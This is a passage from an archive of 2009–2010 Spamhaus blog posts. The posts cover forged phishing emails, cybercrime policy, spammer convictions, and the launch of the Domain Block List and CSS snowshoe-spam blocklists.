-t txt spamhaus.org spamhaus.org descriptive text "v=spf1 ip4:82.94.216.224/27 ~all" Spamhaus.org email only comes from IP addresses listed in the Spamhaus Whitelist. Incidentally, while Spamhaus.org is simply the domain being forged in this case, there is also an ongoing series of spear phishing attacks aimed at infecting specific computers inside ESPs and other e-mail reputation firms such as ReturnPath, as they have generously reported in their blog. Those attacks, like the forged Spamhaus messages, attempt to install malware onto victim's computers in an effort to gain access to data and systems within the target company. We cannot rule out that those attacks are related to the forged Spamhaus messages. Spamhaus, ReturnPath and several ESPs are working closely with law enforcement agencies to investigate these attacks.

UK Threat from Cybercrime is Very Real

The Spamhaus Team — Mon, 18 Oct 2010 15:00:00 GMT

When it became clear that the UK's National Security Strategy (published today) would highlight "Cybersecurity" as one of the most serious threats to the United Kingdom's security, the media were most querulous. Even some of the more experienced journalists seemed to pour immediate scorn on the suggestion that computer-based crime could rank in seriousness alongside terrorist attacks that kill and maim. But like the methods of attack, the harm capable of being done by electronic crime and warfare is barely understood, even by governments such as the US and the UK: and as a result there is very little mitigation capability in place. The Spamhaus Project has for over twelve years now taken the initiative in investigating and trying to disrupt many forms of Cybercrime, and in recent years - together with a number of other international security organisations - we have been responsibly reporting what we have seen. But with little result. One of the problems has been that governments have traditionally seen the security of their own computer systems as completely synonymous with the cybersecurity of the country. In that, they could not have been more wrong. The gradual encroachment into, and undermining of, electronic payment systems can and will cause far more permanent damage to a country's economy and future well-being than any terrorist explosion or short-term computer shutdown could achieve. The threats from malware that we have seen and reported include substantial capabilities for data theft, card payment fraud, and above all credential theft - the logging by a trojan program of any credentials entered through a computer keyboard to gain access to a remote computer system, and the subsequent undetectable forwarding of that information to a remote gathering point. Such data theft has assuredly been going on for some years now, with very little of the data so harvested actually being used in a way that caused the theft to be discovered: and so we predicate that a lot of data - financial and personal - is being garnered in some (probably Eastern European) location for future criminal use. After all, so far the world has seen no sign of where the extensive data stolen from the UK's Revenue and Customs organisation went. Yet the media seemed to base their assessment of the impact of Cyberattacks on the Denial-of-Service attack on Estonia in early 2007, which was fairly minor in overall scheme of things. What was significant about that attack was that it appeared to come from "hackers" while it was clear that the political need for such an attack would have emanated from within the Russian government. It's clear to us that both Moscow and Beijing are finding it very convenient to allow electronic mischief by internet users in their country to go unchallenged, to make it difficult to point the finger of blame on those governments for any nefarious actions that their own operatives carry out. For some time, the UK has been host to the "Russian Business Network" - believed to have been set up by Russian organised crime - first under its own name, and later under some other names. So with electronic warfare and electronic crime overlapping so much that the distinction between them is difficult to make, the one point that governments - UK, US and others - need to grasp quickly is that current policing methods are completely incapable of providing an adequate response to the total threat. That is, of course, no criticism of the people involved, but is a serious indictment of the structure, processes and limitations within which they are forced to work. One of the most vexing hallmarks of Cybercrime is that in the majority of cases it is impossible to know with certainty in which jurisdiction a crime was committed, due to the ability of criminals to distort the routing mechanisms of the internet so that telemetry would give investigators a completely erroneous picture of how a signal had reached the victim network. The Internet was never "created", it came together on a co-operative basis wthout any thought for the likely impact on it of Trans-National Organised Crime (TNOC). Basing its own governance processes on libertarian principles and openness has meant that those processes are completely incapable of responding to even the existence of TNOC, and many otherwise-responsible bodies insist that dealing with such crime is a "matter for the police" and not for them. One clear message that came out of the ICANN 38 meeting in Brussels this summer, was that the public at large are angry at the lack of enforcement by ICANN of the existing (weak) regulation: but there is as yet no indication that ICANN are taking this point under advisement. When the US Government recently called ICANN and a number of domain registrars to a meeting to discuss how to the threat from fake drug vendors on the Internet might be addressed, ICANN conspicuously declined to attend. RIPE (the Regional Internet Registry, or number-address co-ordinating body, for Europe and the Middle East) is one of the bodies shouting loudest for the principle that internet crime is not their concern. But the governance of RIPE appears to be under the control of less than 1000 self-appointing individuals who bear zero responsibility to anyone other than themselves for the impact of their actions. That was fine for as long as their actions only impacted on each other, but with recent developments in the forms of subterfuge employed by Trans-National Organised Criminals being specifically enabled by a weakness in RIPE's operating structure - a weakness specifically absent from the other four Regional Internet Registries - Spamhaus has to question whether RIPE's form of internet governance is anywhere near fit for purpose. That is not to say, of course, that Spamhaus is opposed to freedoms: communication by means of the internet has been a great enabler of freedom fighters, and has helped expose oppression in many parts of the world. What we do say is that if the Internet's own governance structures fail to address the issues created by the TNOCs, then governments will have no option but to step in and that might result in the loss and destruction of what the Internet has achieved to date. While protection from and prevention of Cybercrime has to begin at home, it cannot achieve much without major changes in the way policing is managed, or without the capability for criminal intelligence gathered in one country to result in immediate action in another. We will wait to see if the UK government has really understood this.

Spamhaus Blocks Gmail? Report Was Not True.

The Spamhaus Team — Fri, 20 Aug 2010 15:16:00 GMT

"Spamhaus Blocks Gmail" - A catchy headline which certainly got the twitterati going. However, it wasn't true. Recently some IT websites, including Softpedia and Sucuri, erroneously issued reports of Spamhaus' SBL blocking Gmail. These reports are not true. Google's Gmail service has never been listed in, or affected by, any Spamhaus DNSBL, nor ever would be. Spamhaus quite simply will not list outbound mail servers of Google/Gmail or any giant freemail provider. Some Google-owned server IPs hosting severe malicious spam problems - specifically Google's "Google Docs" service - do get rightly listed in the Spamhaus SBL when Google does not take action fast enough to stop the serving of malicious sites via Google Docs. Such listings act as pointers to the abused resource but do not in any way affect Google's Gmail service or any Google outbound mail service. The problem the "Google Docs" service suffers from requires taking a step back to see one of the core issues of modern day internet abuse.... As more and more services move 'to the cloud' some companies have built enormous infrastructures to provide basic computer services anytime and anywhere, often for free. Free webmail powered email addresses were the start many years ago, long before the concept of the cloud was invented. As time moved on more and more of these hosted services became available: document storage, blogs, image hosting, collaboration services and so on. As the big players moved into these fields they attracted many new users. To be able to deal with these rushes they built these to be scalable and available. Nowadays these systems are so large that a few thousands of new accounts are not even a blip on the radar. And this very 'feature' allows miscreants and criminals to abuse these systems. With the help of botnets they are able to create thousands of new accounts almost instantly. And in the midst of the real users these simply vanish from view. The services they setup are being used to host redirectors (so that the spammers own domains do not have to be used in emails), images (to make sure they load fast) or even to host the contents of the spam messages themselves. With access to an unlimited amount of new accounts spammers can afford to 'burn' the services they setup at an incredible rate. When the accounts are terminated they simply setup more, since they don't pay for the service there is no business loss. And even if one of the cloud services providers plugs a hole they can just move to another one. This has been going on for quite some time. We at Spamhaus surely understand the challenges that the cloud service providers face. These problems are not easy to solve and the scale and complexity of the systems involved certainly does not make things easier. What we are puzzled by is how the rest of the internet has to keep carrying the burden of this abuse. The companies that host these services all without exception make hundreds of millions of dollars each year. They employ some of the best and brightest engineers. Surely they can spend a little of their immense resources on making the internet they rely on for their business, a better and safer place.

Canned Spammer: "The Godfather" Alan Ralsky locked up

The Spamhaus Team — Thu, 04 Mar 2010 05:39:00 GMT

Leaving a wake of over 12 years of criminal spamming and trillions of sent junk emails behind him, long time ROKSO-listed spammer Alan Ralsky is finally behind the walls of a US Federal Prison. After pleading guilty to multiple federal criminal charges, and after time extensions to "get his affairs in order", Ralsky reported to FCI Morgantown in north-central West Virginia on March 1st to start serving his 4-year, 3-month sentence. The US Federal Bureau of Prisons Inmate Locator now shows a new record for him. This replaced a record from the last time he was extended the hospitality of the federal prison system back in the 1990's. This is great news as any spammer behind bars means a spammer not spamming. But before one starts dreaming that he'll be living in cell conditions similar to the portrayals in movies like The Shawshank Redemption, Midnight Express or Papillon, think again and read this "review" posted at the PrisonTalk blog: "FCI morgantown seems really nice to me. Especially compared to a higher security place. It is like a beautiful college campus. They live in units (dorms) and go to classes, work, dinner, watch football together, play cards, softball, workout, lift, cook. My boyfriend is there and he's doing just fine. The visitation goes well. just follow their dress code and there are no problems. There are lots of couples, families, and kids." Other posts echo this "country club" vision. A few years behind bars still may not cure Ralsky's chronic wish to spam, nor cure his over 20-years of criminal behavior, but it should cure his reported addiction to cigarettes as the prison handbook states "FCI Morgantown is a tobacco product free institution". This handbook is an interesting read. Notes of encouragement to aid in his rehabilitation can be "snail mailed" (federal prisoners are not allowed email, sorry) to his new home address: ALAN M RALSKY Inmate Register # 19509-039 c/o Federal Correctional Institution Morgantown P.O. Box 1000 Morgantown, West Virginia 26507 Spamhaus, on behalf of the world's internet email users, gives thanks to all involved. Big thank-you's to FBI Special Agent Tom Winterhalter, U.S. Attorney Terry Berg, AUSA Julie Beck, USPIS Postal Inspector Karl Hansen and IRS Special Agent Marta Jacks. Over the course of a three-year investigation and prosecution, the investigation & prosecution teams were able to identify and convict 9 domestic and international members of this spam & fraud conspiracy, including Ralsky and his associates. Additional reading: Ralsky's ROKSO record- MEDIA: ''one of the most hated people on the Internet''- FBI Raid Shuts Down Suspected Spammer- FBI Thwarts Spam Tycoon- US Feds arrest and book ROKSO spammer Alan Ralsky- Spam King Alan Ralsky indicted- [A USA Federal Indictment [Jan 3, 2008]](http://www.spamhaus.org/rokso/evidence/ROK7942/alan-ralsky/legal-a-usa-federal-indictment-jan-3-2008)- Michigan man accused in massive spam e-mail caper pleads guilty- Notorious Spammer Sent to Prison- Justice delayed

Approaching 100% spam block: Spamhaus releases the Domain Block List

The Spamhaus Team — Mon, 01 Mar 2010 09:04:00 GMT

1 March 2010: The Spamhaus Project is proud to release its newest spam-blocking advisory list to the world's internet users, this time focused on the domain side of email filtering. Called simply the Domain Block List, the DBL has been in beta testing for much of 2009 on production ISPs and corporate servers in Europe, Asia and North America, and results have been exceptionally positive. It upholds the Spamhaus reputation for extremely high spam detection and virtually no false positives. The DBL is now ready for broad use in production spam filter systems. Why the DBL Anyone trying to block spam knows that spammers have evolved elaborate strategies to evade filters. IP address based filters such as The Spamhaus Project's Zen lists successfully clean the vast majority of the email flow. This works by shedding connections from known-bad IP addresses with the least possible load on the receiving system. Currently, most users see nearly 90% effectiveness using this method, however, spammers still manage to sneak some junk into recipient's mail delivery systems. This is often done by spamming from normally legitimate sources which should not be blocked at connection time. At that stage of delivery, after the Zen connection filter and either during the "DATA" part of SMTP transaction or after message acceptance, receivers must use increasingly resource-intensive (and thus costly) filters to mop up spam that seeps through. Spammers are using tremendous numbers of domains for short intervals to evade filters at this stage. This is where the DBL is designed to be extremely effective. About the DBL Most spam contains a link to a "payload" or "landing" webpage where whatever fraud, phish, malware or suspect offer is presented. Those links are normally based on domains. Many receivers already use domain or URI filters and the popular open-source SpamAssassin has included them, highly scored, in its ruleset for years. While there are already excellent URI datasets available such as SURBL and URIBL, Spamhaus has tailored the DBL to work specifically in conjunction with our IP address based lists. The DBL system has been built to process an enormous input of spam data arriving at Spamhaus' spamtraps in order to detect and list spam domains in realtime. Spamhaus' robust DNS infrastructure enables the DBL to be rebuilt and republished every 120-seconds. What this will mean is that DBL users will be able to block spam containing DBL-listed domains within just minutes of a spam being seen by the Spamhaus detectors. How to use the DBL The DBL is fully operational today and published at dbl.spamhaus.org for users with mail servers capable of using domain URI blocklists or Right Hand Side Block Lists (RHSBLs) and who wish to use it via DNS query. It is also available immediately to Spamhaus Datafeed users. Users wanting to implement DBL in spam filters must read the DBL FAQ for proper use guidelines as the DBL is not an 'IP blocklist' and can not be plugged into normal mail server 'RBL' filters. DBL must be specifically used only where "domain blocklists" or RHSBLs are used. SpamAssassin is releasing a new version specifically with DBL support: SpamAssassin 3.3.1. SpamAssassin users should upgrade to 3.3.1 before using DBL. DBL can not be retroactively added to older SpamAssassin versions. Companies using the Spamhaus data such as Microsoft Hotmail, Yahoo!, Comcast and many others should soon be using the DBL data to help catch more spam before it hits their users' mailboxes. Spamhaus also hopes the DBL will be of use to domain registrars, registries and ICANN to help show problem areas of spammer domain registration. What Spamhaus hopes is that this new data zone will allow internet users to approach the goal of stopping every spam sent to them. While a 100% spam block may never be achievable, the ability to reduce "seen" spam to a rarity is approaching. Further new Spamhaus data lists due out this year will continue to pursue that goal. About Spamhaus The Spamhaus Project is an international nonprofit organization whose mission is to track the internet's spam operations, to provide dependable realtime anti-spam protection for Internet networks and to work with Law Enforcement Agencies to identify and pursue spammers worldwide. The number of internet users whose mailboxes are currently protected by Spamhaus DNSBLs now exceeds 1.4 Billion. Founded in 1998, Spamhaus is based in Geneva, Switzerland and London, UK and is run by a dedicated team of 28 investigators and forensics specialists located in 8 countries. Article links: The Spamhaus DBL* DBL FAQ (including notes for users and developers) Spamhaus Effective Spam Filtering Guide* SpamAssassin* SURBL* URIBL* SMTP: Simple Mail Transfer Protocol* URI's: Uniform Resource Identifiers

State of Maine AG OKs Spam List

The Spamhaus Team — Wed, 03 Feb 2010 18:01:00 GMT

The idea of "opt in" is central to the legitimate, non-spam use of bulk e-mail. Without "opt in" policies, any and all e-mail addresses will be spammed relentlessly until they "opt out", and likely even after that. "Opt in" means that the recipient--the e-mail address owner--knowingly and intentionally subscribes to a specific list before the bulk list-mail commences. Permission to send bulk e-mail to that address does not extend beyond the specific list to which the recipient subscribed, nor does subscribing or using their address solely for a specific contact grant any other use of their address without their informed consent. Spamhaus has always advocated only "opt in" policies. So, while Spamhaus has never been favorably impressed by the USA's policies regarding spam, we are still dismayed and find it unconscionable that the Maine Attorney General has required that state's Fisheries & Wildlife Department to turn over the e-mail addresses of its customers to a private third party. Customers who simply wanted a fishing licence, who never intended to subscribe to any bulk e-mail, let alone have their personal information distributed to an advocacy organization bold enough to demand it from the state, are the victims. Such abuse would contravene UK and EU privacy laws. Time and time again Spamhaus has witnessed the illicit distribution of e-mail addresses as part and parcel of the spam epidemic. Once control over an e-mail address is wrested from its rightful owner, spam is inevitable. "Nadine" is a classic account illustrating such problems. There are also many incidents of lists leaking or otherwise changing hands illicitly, both recently and historically. The more widely a list is shared, the more likely it is to leak. By distributing its customer list to a third party, Maine is contributing to spam and the abuse of its customer's mailboxes. Even if Maine's release of customer e-mail addresses didn't lead directly to spam (which it will), and even if Sportsman's Alliance of Maine (which stretched Maine's Freedom of Access Act to obtain the list) doesn't spam the list (which it will, by definition, as soon it sends any e-mail to it), Maine's AG's decision to distribute that list exposes all of Maine's e-mail customers, at any state department, to abuses from subsequent possessors of such lists, however such spammers may come into the list's possession. Maine, like the rest of the USA, needs to rethink its policies on spam and personal privacy.

DarkMarket "loner" soon to have many new friends

The Spamhaus Team — Fri, 15 Jan 2010 07:27:00 GMT

Unfortunatly for Renukanth Subramaniam, the "loner with a modest lifestyle" who helped run the secretive website where cybercriminals traded stolen credit card data, his friends will probably be fellow inmates in a Her Majesty's Prison Service institution. Subramaniam was remanded into custody in London after earlier pleading guilty to conspiracy to defraud and five counts of furnishing false information. Estimates have put a figure of tens of millions of pounds of losses due to the workings of DarkMarket. For a full story on this, please check out this in-depth article at the Independent News and Media Limited website. DarkMarket was shut down by the USA's FBI when an undercover agent infiltrated the website. After two years of secrecy, in 2009 the Spamhaus Project was able to reveal its roll in helping create a "cybercriminal profile" for the FBI to use. Spamhaus has worked for many years with international law enforcement agencies to help them track, arrest & indict (and in several notable cases, incarcerate) internet cybercriminals. Its been known for some time that the best, and often the only, way to keep a spammer, fraudster, cybercriminal type off the "internet streets" is to place them behind bars. It should come as no surprise to anyone, including the cybercriminals, that there have been - and will be - many other arrests and prosecutions from this case. Also, that Spamhaus continues to work on many current law enforcement actions. When the news breaks on these it will be good news for the internet in general, and very bad news for a select criminal few. Which ones you ask? Well, we keep a list that contains their names in our The Register of Known Spam Operations (ROKSO) database. UPDATE: New story on Subramaniam at Wired.com with further details and a photo.

Congratulations to CNNIC (China)

The Spamhaus Team — Thu, 17 Dec 2009 14:51:00 GMT

China Internet Network Information Center (CNNIC) - China's own domain regulator - last week criticised Xinnet.com and some other Chinese registrars for the excessive inaccuracy in registration information (called "Whois" data). From this week, buyers of ".cn" Country Code Top Level Domains (ccTLDs) are required to provide paperwork - such as company credentials and a stamped seal - in support of their domain applications. Precautions like this were long overdue, as ".cn" domains had become synonymous with spam, pornography, fraud and other cybercriminal activities - so much so that many networks outside China had started blocking incoming mail containing links that used ".cn" domains. Still other large email provider systems have threatened to do the same soon if the trend continued. Commendable though CNNIC's action is, Spamhaus fears that unless modified, it will not have much impact on their problem. The reason is simple: it seems that the provided paperwork will be "validated" by CNNIC, and if suspect, then the domain's buyer is given a full week to update their credentials to valid data. In most of the cases where harm is done (phishing, malware, illegal drug spam) the domains are useless to the criminals after a few days anyway because they become widely blocked, so it will not make much difference to the criminals if their domains are shut down then because the credentials are not valid. The very low price charged for ".cn" domains when purchased in bulk (from one to eighteen Yuan - £0.10/$0.15 US to £1.80/$2.70 US per domain) compared to other TLDs, has made them just a "throw away cost" for the American and Russian criminal spam gangs who are behind most of them. If this scheme is to work, the credentials must be checked and validated BEFORE the DNS is activated to make the domain usable. Now this WOULD deter the criminals. Indeed a number of other countries' registries would benefit from adopting a similar policy - such as the United Kingdom and Belgium (.uk, .be), whose domains have recently been widely abused by the "Avalanche" botnet gang. Spamhaus hopes that China may decide to lead the way in maintaining a clean, spam/fraud/crime free national domain-space. CNNIC, CNCERT, and individal Chinese registrars have been sent information about fraudulent and cybercrime domains since 2007, but the proportion of those domains that are actually taken down as a result has so far been disappointingly low. Also, unlike other ccTLD registries, CNNIC has not yet shared its domain zone data with the widely respected anti-spam, anti-fraud and anti-cybercrime organizations (of which Spamhaus is just one). This sharing helps Spamhaus work with both the registry and the individal registrars to identify the bad domains and suspend them. Spamhaus would welcome an opportunity to enter into a Memorandum of Understanding (MoU) with CNNIC to make information sharing of this nature possible. So as we extend our congratulations to CNNIC for this good first step in trying to reclaim the ".cn" ccTLD for the honest Chinese internet users, we stress that further steps do still need to be taken.

Comcast guarding users helps protect all of us

The Spamhaus Team — Mon, 07 Dec 2009 12:10:00 GMT

In October, Comcast Corporation, the USA's largest provider of high-speed Internet to private homes, announced the roll-out of its new Constant Guard security initiative. The system will provide in-browser notifications about possible virus infections. If the system detects a possible problem, a "service notice" will appear in the customer's web browser that tells them that a virus has been detected and urges them to go to Comcast's anti-virus center. Virus infected broadband users are what make up the large "botnet" systems used by cybercriminal gangs to send spam, wage denial-of-service attacks and engage in web ad "click fraud" among other malicious activities. One botnet can have tens of thousands or even millions of PCs, Constant Guard plans to minimize its user's risk of staying part of these botnets. in-browser-notice Image: phishing, virus spam, filter, block malware, spyware Comcast said users can close the warning banners if they wish, but they cannot stop receiving them. A reminder will be shown every week while a computer appears to be infected. Comcast says its initiative contains an important secondary confirmation that the message is from the company and not a scammer: Comcast will send an e-mail to the customer's primary e-mail account. The security initiative, which Comcast hopes to roll-out nationally, is a well planned move by a major Internet provider to curb what's become the major scourge on the Internet. To gather information about its customer's infected computers, Comcast uses data from internet advisory groups like the Spamhaus Project that specialize in identifying botted computer users — this data includes lists of infected IP addresses. Comcast also keeps an eye out for malicious bot behavior like repeated connection requests. All of that data is then aggregated to see if a customer's computer has been infected. Comcast's customers are provided with a free download of the McAfee Internet Security Suite, which will be available as long as they remain Comcast customers. An additional "Comcast Toolbar" includes spyware removal features, a pop-up ad blocker, and anti-phishing software. "The Constant Guard security program is the result of many years of working to assemble the right people, technologies and resources to help ensure our customers are protected from hackers and bots in real-time," Mitch Bowling, senior vice president and general manager of online services at Comcast, said in a statement. "These cyber criminals have become so fast, a bot can be instructed to send out millions of spams in a matter of minutes," added Jay Opperman, Comcast's senior director of security and privacy. "The faster that we can detect these things are operating on our network, the better." Better for Comcast and its customers is better for the rest of the Internet. Why? With over 15-million customers, if even a small percentage of them are in botnets, they can have a massive effect on the rest of the world's online users. Mostly viable by the spam sent via these botnets. Comcast is the first large ISP to provide this type of in-browser notification in a security context. This is a welcome change from the Comcast of many years ago who were both the number one network sending botnet spam and in the number one position in Spamhaus' "TOP 10 Spam Service Networks". These days Spamhaus sees relatively little spam being send via Comcast's network or spammers hosting on it. As a fellow Messaging Anti-Abuse Working Group (MAAWG) member, Comcast has been a leader in proposing best practices for the ISP industry in dealing with messaging abuse issues. According to Jerry Upton, executive director of MAAWG, "The new Comcast safeguards are in line with industry best practices to help ISPs assist customers whose machines have been infected with malware. By deploying the technology to detect bots on their subscribers' computers, Comcast is providing a service to their customers and contributing to safer messaging." A major ISP like Comcast taking a step like this should incentivise other ISPs around the world to step-up and help crack down on the number of infected users they have. Many by using this method and others using the even more effective "walled garden" approach. Although some have stated the required effort is minimal in such steps, Spamhaus knows the effort for very large ISPs can be quite difficult and costly. But guarding their customers should be an ISP's first concern and as this also helps protect most internet users from the damage botnets do, all should encourage and support these efforts.

Two month "snowshoe" trek results

The Spamhaus Team — Thu, 03 Dec 2009 09:13:00 GMT

On the two-month anniversary of our announcement of the Spamhaus CSS, we thought it's time to take a look at its effect against this type of spamming. As we had mentioned, while filtering methods for botnet spam are now quite effective, a new breed of static-IP address spammers had evolved, and their spam was evading many filters. It became time to target the next great spam problem, " snowshoe " spam. Results seen so far Snowshoe Image: spamming that can be used to beat the spam filtering and security in Exchange, Lotus notes, Sendmail, Postfix, Spam Assassin. Not used for phishing, virus spam. Our testing has shown the new CSS zone has more than doubled the effectiveness of the Spamhaus SBL in blocking/filtering spam. In addition to blocking/filtering the spam sent by snowshoers, many of the ISPs hosting them have noticed their IP addresses listed, have terminated contracts with these spammers and booted them off of their hosting service. This will be driving up the time, effort & monies spammers must expend to continue their abusive and in many cases illegal businesses. The new snowshoe detection also allows Spamhaus volunteers to discover other, unseen, areas run by spammers and to blocklist them as well. As we continue to to modify the automated detection systems used by the CSS to detect snowshoe spam IP address ranges, its effectiveness should expand even further. We fully expect the spammers to try and adjust to avoid detection, but they have an obvious problem: If they want to continue to send spam to millions of internet users' mailboxes, our systems will see it - and they will end up in the CSS. The Problem of Snowshoe Spam Like many of you, we at The Spamhaus Project have seen a burgeoning flood of spam emails, not from compromised IP addresses or botnet ranges, but from static IP address ranges. The IP addresses that send this spam properly identify their host names when connecting to a mailserver. At first glance, the emails that they send look like legitimate bulk emails, except that they were sent to spamtraps or to our own email addresses, which we know did not ask for that email. Most of them send modest volumes of email that do not trigger automated spam blocking filters or reputation metrics. It is this technique, spreading the load out over a larger area, that gives snowshoe spam its name. However, the resemblance to legitimate bulk emailers ends with surface details. Unlike IP addresses ("IPs") used by legitimate bulk emailers, the IPs used by snowshoe spammers are usually either unallocated/un-SWIP'd, or allocated/SWIP'd to small companies that neither we nor anybody else has ever heard of before. Unlike the mail servers and URI domains used in legitimate bulk email, the mail servers and URI domains are either registered with a Whois cloaking service, or, again, to small companies that neither we nor anybody else has ever heard of before. This spam is sent from many small IP ranges on many Internet Service Providers (ISPs), using many different domains, and the IPs and domains change rapidly, making it difficult for people and places to detect and block this spam. Most importantly, while each host/IP usually sends a modest volume of bulk email, collectively these anonymous IP ranges send a great deal of spam, and the quantities of this type of spam have been increasing rapidly over the past few months. Working Toward a Solution As with botnet spam, an actual solution to snowshoe spam will require many organizations and many people using a variety of approaches. Our role (and that of any blocklist) is to tell email recipients where the spam is coming from so that they can block, filter or tag it (using our DNS-based blocklist), identify the spammers, and take further action. Recently we decided that we needed a better, quicker way to do this with IPs sending snowshoe spam than manually listing those IPs in the Spamhaus Block List (SBL). CSS: SBL advisory component As a first step, we are making the new Spamhaus CSS (Composite Snow-Shoe) list available to detect and respond more quickly to IPs that are emitting snowshoe spam. As the new **[CSS web page](http://www.spamhaus.org/redirect/ http://www.spamhaus.org/css/)** explains, this is an automatically-generated list of IPs that have been detected sending snowshoe spam. The CSS contains only single IPs (a/k/a "/32s"), not larger CIDR IP address ranges. CSS listings are automatically removed a few days after the last time a listed IP or one of its near neighboring IPs stops sending snowshoe spam. A delisting request email address is also provided for ISPs to report any IP that is detected and listed in error. Identifying the Snowshoe Spammers As the CSS data is built it will also be flagged to the attention of the SBL team, who will continue to create manual listings for active snowshoe ranges, identify the spammers behind snowshoe operations, associate those listings with Register Of Known Spam Operations (ROKSO) records or create new records where appropriate. Spamhaus will also continue our efforts to bring the problem of snowshoe spam to the attention of the world's lawmakers via our direct contacts and our informational postings on the subject. How to Use the New CSS Data The CSS will be included in sbl.spamhaus.org zone, and in the combined blocklist zones at sbl-xbl.spamhaus.org and zen.spamhaus.org as well. It will return a unique result code, 127.0.0.3, rather than the SBL result code of 127.0.0.2, however, allowing any spam filters or local configurations to treat CSS hits differently than the regular SBL hits if they wish. Related: ** [CSS web page: more information about the CSS.](http://www.spamhaus.org/redirect/ http://www.spamhaus.org/css/)* Slashdot mention and discussion of the Spamhaus CSS.* Original Oct-3-2009 CSS announcment.*

Herbalking ringleader gets US$15 million fine

The Spamhaus Team — Mon, 30 Nov 2009 18:53:00 GMT

The Herbalking aftermath continues with a US federal judge ordering ringleader Lance Atkinson to pay the US Federal Trade Commission (FTC) a hefty US$15.5 million (£9.4 million). After already admitting his involvement to the New Zealand authorities last year now the FTC steps in with its findings: *The spam gang deceptively marketed products such as male-enhancement pills, prescription drugs, and weight-loss pills. Ringleader Lance Atkinson, a New Zealand citizen and Australian resident, last December admitted his involvement in the spam network to New Zealand authorities and has already paid more than $80,000 (nearly $108,000 New Zealand dollars). Atkinson's accomplice, U.S. resident Jody Smith, agreed to an order requiring him to turn over nearly all of his assets to the FTC, to settle FTC charges. Atkinson and Smith recruited spammers from around the world, according to the FTC's complaint filed last year. The spammers sent billions of e-mail messages directing consumers to Web sites operated by an affiliate program called 'Affking', according to the complaint. By using false header information to hide the origin of the messages, and by failing to provide an opt-out link or list a physical postal address, the defendants are alleged to have violated the CAN-SPAM Act of 2003.* Spamhaus would like to congratulate everyone involved in this case. We hope that serious fines like these help protect email users and stem the spam epidemic all over the world from spammers such as Atkinson and Smith. Related: The complete FTC press release on Herbalking/Lance Atkinson Spamhaus article: Some Good News From Downunder Email super-spammer fined $16m Herbalking ROKSO records HerbalKing principals indicted by FTC and New Zealand FTC Case Against Global Web Promotions FTC vs Lance Atkinson & Inet Ventures Pty Ltd FTC Shuts Down, Freezes Assets of Vast International Spam E-Mail Network

Some Good News From Downunder

The Spamhaus Team — Fri, 20 Nov 2009 10:00:00 GMT

Two New Zealanders well known to Spamhaus have been fined for their roles in the biggest pharmaceutical spamming operation in the history of the internet, officials of the nation's Department of Internal Affairs (DIA) said on Monday. They were part of a business based in Christchurch that sent more than two million unsolicited emails promoting Indian-made herbal products to New Zealand addresses over four months in 2007, the DIA reported. Shane Atkinson was fined $100,000 New Zealand dollars (USD71,600) and Ronald Smits $50,000 in the Christchurch High Court last week, the DIA said in a statement. The operation paid affiliates around the world to send spam emails marketing Herbal King, Elite Herbal and Express Herbal branded pharmaceutical products, which were manufactured and shipped by Tulip Lab of India. The business was operated by Genbucks Ltd, a company incorporated in Mauritius. Three other New Zealanders, including Atkinson's brother, Lance Atkinson, of Queensland, Australia, have also been fined. Spamhaus had been tracking these companies for about 4-years and Atkinson for even longer as he and his brother had been spamming long before this event. The DIA's Deputy Secretary Keith Manch said officials worked with overseas agencies, including the United States Federal Trade Commission (FTC), on the operation, bringing prosecutions under New Zealand's Unsolicited Electronic Messages Act. Deputy Secretary Manch said Lance Atkinson, of Pelican Waters, Queensland, Australia, is also facing court action in the United States brought by the FTC. "Current estimates suggest that around 120 billion spam messages are sent every day," he said. "These emails clog up the internet, disrupt email delivery, reduce business productivity, raise internet access fees, irritate recipients and erode people's confidence in using email." Manch also referred to the nation's Unsolicited Electronic Messages Act as stopping "New Zealand from becoming a spammer's haven." Spamhaus congratulates all our friends at the DIA and hopes that this legal effort well send a overall message to those who consider internet abuse and law-breaking a valid profession they will end up in court. Also, we hope a more direct message has been sent to pathological spammers like the Atkinson and Smits and they finally will decide to stop their criminal behavior. Related: HerbalKing principals indicted by FTC and New Zealand* FTC Case Against Global Web Promotions* FTC vs Lance Atkinson & Inet Ventures Pty Ltd* FTC Shuts Down, Freezes Assets of Vast International Spam E-Mail Network

Announcing the Spamhaus CSS

The Spamhaus Team — Sat, 03 Oct 2009 05:22:00 GMT

While filtering methods for botnet spam are now quite effective, a new breed of static-IP address spammers has evolved, and their spam evades many filters. It is time to target the next great spam problem, "snowshoe" spam. The Problem of Snowshoe Spam Snowshoe Image: spamming that can be used to beat the spam filtering and security in Exchange, Lotus notes, Sendmail, Postfix, Spam Assassin. Not used for phishing, virus spam. Like many of you, we at The Spamhaus Project have seen a burgeoning flood of spam emails, not from compromised IP addresses or botnet ranges, but from static IP address ranges. The IP addresses that send this spam properly identify their host names when connecting to a mailserver. At first glance, the emails that they send look like legitimate bulk emails, except that they were sent to spamtraps or to our own email addresses, which we know did not ask for that email. Most of them send modest volumes of email that do not trigger automated spam blocking filters or reputation metrics. It is this technique, spreading the load out over a larger area, that gives snowshoe spam its name. However, the resemblance to legitimate bulk emailers ends with surface details. Unlike IP addresses ("IPs") used by legitimate bulk emailers, the IPs used by snowshoe spammers are usually either unallocated/un-SWIP'd, or allocated/SWIP'd to small companies that neither we nor anybody else has ever heard of before. Unlike the mail servers and URI domains used in legitimate bulk email, the mail servers and URI domains are either registered with a Whois cloaking service, or, again, to small companies that neither we nor anybody else has ever heard of before. This spam is sent from many small IP ranges on many Internet Service Providers (ISPs), using many different domains, and the IPs and domains change rapidly, making it difficult for people and places to detect and block this spam. Most importantly, while each host/IP usually sends a modest volume of bulk email, collectively these anonymous IP ranges send a great deal of spam, and the quantities of this type of spam have been increasing rapidly over the past few months. Working Toward a Solution As with botnet spam, an actual solution to snowshoe spam will require many organizations and many people using a variety of approaches. Our role (and that of any blocklist) is to tell email recipients where the spam is coming from so that they can block, filter or tag it (using our DNS-based blocklist), identify the spammers, and take further action. Recently we decided that we needed a better, quicker way to do this with IPs sending snowshoe spam than manually listing those IPs in the Spamhaus Block List (SBL). CSS: SBL advisory component As a first step, we are making the new Spamhaus CSS (Composite Snow-Shoe) list available to detect and respond more quickly to IPs that are emitting snowshoe spam. As the new CSS web page explains, this is an automatically-generated list of IPs that have been detected sending snowshoe spam. The CSS contains only single IPs (a/k/a "/32s"), not larger CIDR IP address ranges. CSS listings are automatically removed a few days after the last time a listed IP or one of its near neighboring IPs stops sending snowshoe spam. A delisting request email address is also provided for ISPs to report any IP that is detected and listed in error. Identifying the Snowshoe Spammers As the CSS data is built it will also be flagged to the attention of the SBL team, who will continue to create manual listings for active snowshoe 